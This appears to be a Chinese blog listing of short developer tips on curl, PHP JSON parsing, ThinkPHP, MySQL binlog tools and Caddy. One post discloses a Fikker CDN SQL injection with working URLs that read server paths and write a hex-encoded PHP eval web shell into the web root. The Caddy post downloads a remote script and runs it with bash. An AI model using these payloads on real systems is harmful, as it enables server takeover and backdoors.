jincon 发表的文章

利用Shell 利用 curl 模拟登陆网站,保存登录会话

经常会有一些设计到命令行下的登录获取信息,这个时候,就用到 shell curl了

curl命令参数:

-b 参数 指定使用cookie文件

-c是往cookie文件中写cookie

-d 是指定此次登录所需的参数,通过httpfox查看

-L 指定页面自动跳转


#curl -c ck.txt --user-agent Mozilla/4.0 -d "username=****&password=*****&server_id=1&submit=true" 登陆的url 
#curl -c ck.txt -b ck.txt --user-agent Mozilla/4.0 请求的url


» 阅读全文

json_decode 解析非标准json数据返回值为空 Null解决方法

json_decode 解析非标准json数据返回值为空 Null解决方法


<?php
$html= json数据 
var_dump(json_decode($html,true)); //return null
var_dump(json_last_error()); // return 4
?>
json_last_error错误msg对照表:
0 = JSON_ERROR_NONE
1 = JSON_ERROR_DEPTH
2 = JSON_ERROR_STATE_MISMATCH
3 = JSON_ERROR_CTRL_CHAR
4 = JSON_ERROR_SYNTAX

5 = JSON_ERROR_UTF8

大概意思就是语法错误,主要可能是接口方,获取获取的数据非标准或者含有非utf-8字符等

过滤方法

<?php
$html="json数据";
$html=preg_replace('/[\x00-\x1F\x80-\xFF]/', '', $html);
var_dump(json_decode($html, true));
var_dump(json_last_error());
?>

Thinkphp3.2.3设置MySql主从读写分离后,如何方便的调用主库查询

1、thinkphp/Library/Think/Model.class.php
62行:


protected $methods          =   array('strict','order','alias','having',
'group','lock','distinct','auto','filter','validate','result',
'token','index',’force’,’master’);  //1、添加,’master’

2、ThinkPHP/Library/Think/Db/Driver.class.php

» 阅读全文

关键词: 读写分离 , thinkphp , mysql主从

IOS微信内置浏览器如何隐藏跳转链接后底部的前进后退横栏

这个主要是由于涉及到跳转链接的问题,解决方法很简单:

跳转的方式改为:

window.location.replace("1.html");

binlog2sql 解析mysql的binlog出原始SQL、回滚SQL

binlog2sql
从MySQL binlog解析出你要的SQL。根据不同选项,你可以得到原始SQL、回滚SQL、去除主键的INSERT SQL等。

用途
数据快速回滚(闪回)
主从切换后新master丢数据的修复
从binlog生成标准SQL,带来的衍生功能
项目状态
正常维护。应用于部分公司线上环境。

已测试环境
Python 2.7, 3.4+
MySQL 5.6, 5.7
安装
shell> git clone https://github.com/danfengcao/binlog2sql.git && cd binlog2sql
shell> pip install -r requirements.txt
git与pip的安装问题请自行搜索解决。

Caddy是一个使用Go语言写的HTTP Server

Caddy是一个使用Go语言写的HTTP Server,开在性能上或许比不上Nginx,但是在上手及配置难度上面真的是比Nginx简单许多。同时Caddy支持自动签订Let’s Encrypt SSL证书,只需要提供一个可用邮箱即可

wget -N --no-check-certificate https://raw.githubusercontent.com
/ToyoDAdoubi/doubi/master/caddy_install.sh && chmod +x caddy_install.sh 
&& bash caddy_install.sh install http.filemanager
Caddy使用命令
启动:/etc/init.d/caddy start
停止:/etc/init.d/caddy stop
重启:/etc/init.d/caddy restart
查看状态:/etc/init.d/caddy status
查看Caddy启动日志: tail -f /tmp/caddy.log
Caddy配置文件位置:/usr/local/caddy/Caddyfile
Caddy自动申请SSL证书位置:/.caddy/acme/acme-v01.api.letsencrypt.org/sites/xxx.xxx(域名)/

Fikker主控php端可能存在0day漏洞,影响所有版本

Fikker 是一款面向 CDN/站长 的专业级网站缓存(Webcache)和反向代理服务器软件(Reversed Proxy Server)。近日在一起安全事件中发现fikker主控多个php文件存在高危注入漏洞,可获取Webshell 

#爆目录
admin_modify.php?id=-1%20union%20select%201,
@@basedir,3,4,5,6,7,8,9,10,11,12,13
#写一句话
admin_modify.php?id=1%20and%201=2%20union%20
select%200x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,
0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e,9,10,11,12,13%20into%20outfile%20%27d:/FikkerCDN/webroot/fikcdn/admin/test.php%27


Thinkphp5控制器名过滤不严导致getshell的解决方法

Thinkphp5控制器名过滤不严导致getshell,网上很多人放出getshell脚本。

修复方法:

5.0版本
在think\App类的module方法的获取控制器的代码后面加上

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}
5.1版本
在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上

if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}
自行增加相关代码。(5.0版本代码 | 5.1版本代码